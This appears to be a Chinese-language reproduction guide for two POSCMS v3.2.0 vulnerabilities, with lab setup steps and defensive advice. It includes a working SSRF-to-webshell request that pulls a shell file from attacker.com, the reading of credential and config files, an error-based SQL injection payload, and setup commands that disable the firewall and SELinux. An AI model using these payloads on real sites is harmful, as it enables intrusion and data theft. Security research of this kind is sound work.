POSCMS v3.2.0漏洞复现
字数 946 2025-08-29 08:32:18

POSCMS v3.2.0漏洞分析与复现指南

环境搭建

系统要求

  • 操作系统: CentOS 7 amd64
  • PHP版本: 5.5.38 (必须低于7.1)
  • MySQL版本: 5.5.60
  • Web服务器: Apache 2.4.6

安装步骤

  1. PHP环境配置:
# 移除现有PHP
yum list installed | grep php
yum remove php*.x86_64

# 添加新的RPM仓库
rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm

# 安装PHP 5.5
yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64
  1. Apache配置:
    修改/etc/httpd/conf/httpd.conf:
<Directory "/var/www/html">
    AllowOverride All
    Require all granted
    User newman
    Group newman
</Directory>
  1. 权限设置:
chown -R newman:newman /var/www/html/POSCMS
  1. 关闭安全服务:
# 清空iptables
sudo iptables -F

# 临时关闭Selinux
sudo setenforce 0

# 停掉firewall服务
sudo service firewalld stop

漏洞1: SSRF及GetShell

漏洞位置

/diy/module/member/controllers/Api.php中的down_file()函数

漏洞分析

  1. SSRF漏洞:
  • 使用dr_catcher_data()函数获取远程文件内容
  • 未对请求协议和URL范围进行限制
  • 可读取服务器本地文件如/etc/passwd/config/system.php
  1. GetShell实现:
  • 通过构造特殊payload绕过扩展名检查
  • 上传包含PHP代码的HTML文件
  • 利用Apache配置解析HTML中的PHP代码

复现步骤

  1. 获取系统密钥:
    通过SSRF读取/config/system.php获取加密密钥

  2. 构造加密payload:
    使用系统密钥加密1|html,|0生成授权码

  3. 上传恶意文件:

POST /index.php?s=member&c=api&m=down_file HTTP/1.1
Host: target.com

file=http://attacker.com/shell.html&url=code=生成的授权码
  1. Apache配置:
    /etc/httpd/conf.d/php.conf中添加:
AddType application/x-httpd-php .html

漏洞2: 前台SQL注入

漏洞位置

/diy/dayrui/models/Attachment_model.php中的搜索功能

漏洞分析

  • 未对module参数进行过滤
  • 可直接拼接SQL语句
  • 报错注入可利用

复现步骤

  1. 构造注入请求:
GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: target.com
  1. 获取数据库信息:
    通过报错信息获取当前数据库用户等信息

防御建议

  1. SSRF防御:
  • 限制dr_catcher_data()可访问的协议和IP范围
  • 增加URL白名单验证
  1. 文件上传防御:
  • 严格检查文件内容和扩展名
  • 禁止上传可执行文件
  1. SQL注入防御:
  • 使用预处理语句
  • 对输入参数进行严格过滤
  1. 系统加固:
  • 定期更新系统和组件
  • 最小化服务器权限
  • 禁用不必要的服务和功能

参考资源

  1. POSCMS v3.2.0漏洞分析
  2. SSRF漏洞利用技巧
  3. PHP安全编程指南
POSCMS v3.2.0漏洞分析与复现指南 环境搭建 系统要求 操作系统: CentOS 7 amd64 PHP版本: 5.5.38 (必须低于7.1) MySQL版本: 5.5.60 Web服务器: Apache 2.4.6 安装步骤 PHP环境配置 : Apache配置 : 修改 /etc/httpd/conf/httpd.conf : 权限设置 : 关闭安全服务 : 漏洞1: SSRF及GetShell 漏洞位置 /diy/module/member/controllers/Api.php 中的 down_file() 函数 漏洞分析 SSRF漏洞 : 使用 dr_catcher_data() 函数获取远程文件内容 未对请求协议和URL范围进行限制 可读取服务器本地文件如 /etc/passwd 和 /config/system.php GetShell实现 : 通过构造特殊payload绕过扩展名检查 上传包含PHP代码的HTML文件 利用Apache配置解析HTML中的PHP代码 复现步骤 获取系统密钥 : 通过SSRF读取 /config/system.php 获取加密密钥 构造加密payload : 使用系统密钥加密 1|html,|0 生成授权码 上传恶意文件 : Apache配置 : 在 /etc/httpd/conf.d/php.conf 中添加: 漏洞2: 前台SQL注入 漏洞位置 /diy/dayrui/models/Attachment_model.php 中的搜索功能 漏洞分析 未对 module 参数进行过滤 可直接拼接SQL语句 报错注入可利用 复现步骤 构造注入请求 : 获取数据库信息 : 通过报错信息获取当前数据库用户等信息 防御建议 SSRF防御 : 限制 dr_catcher_data() 可访问的协议和IP范围 增加URL白名单验证 文件上传防御 : 严格检查文件内容和扩展名 禁止上传可执行文件 SQL注入防御 : 使用预处理语句 对输入参数进行严格过滤 系统加固 : 定期更新系统和组件 最小化服务器权限 禁用不必要的服务和功能 参考资源 POSCMS v3.2.0漏洞分析 SSRF漏洞利用技巧 PHP安全编程指南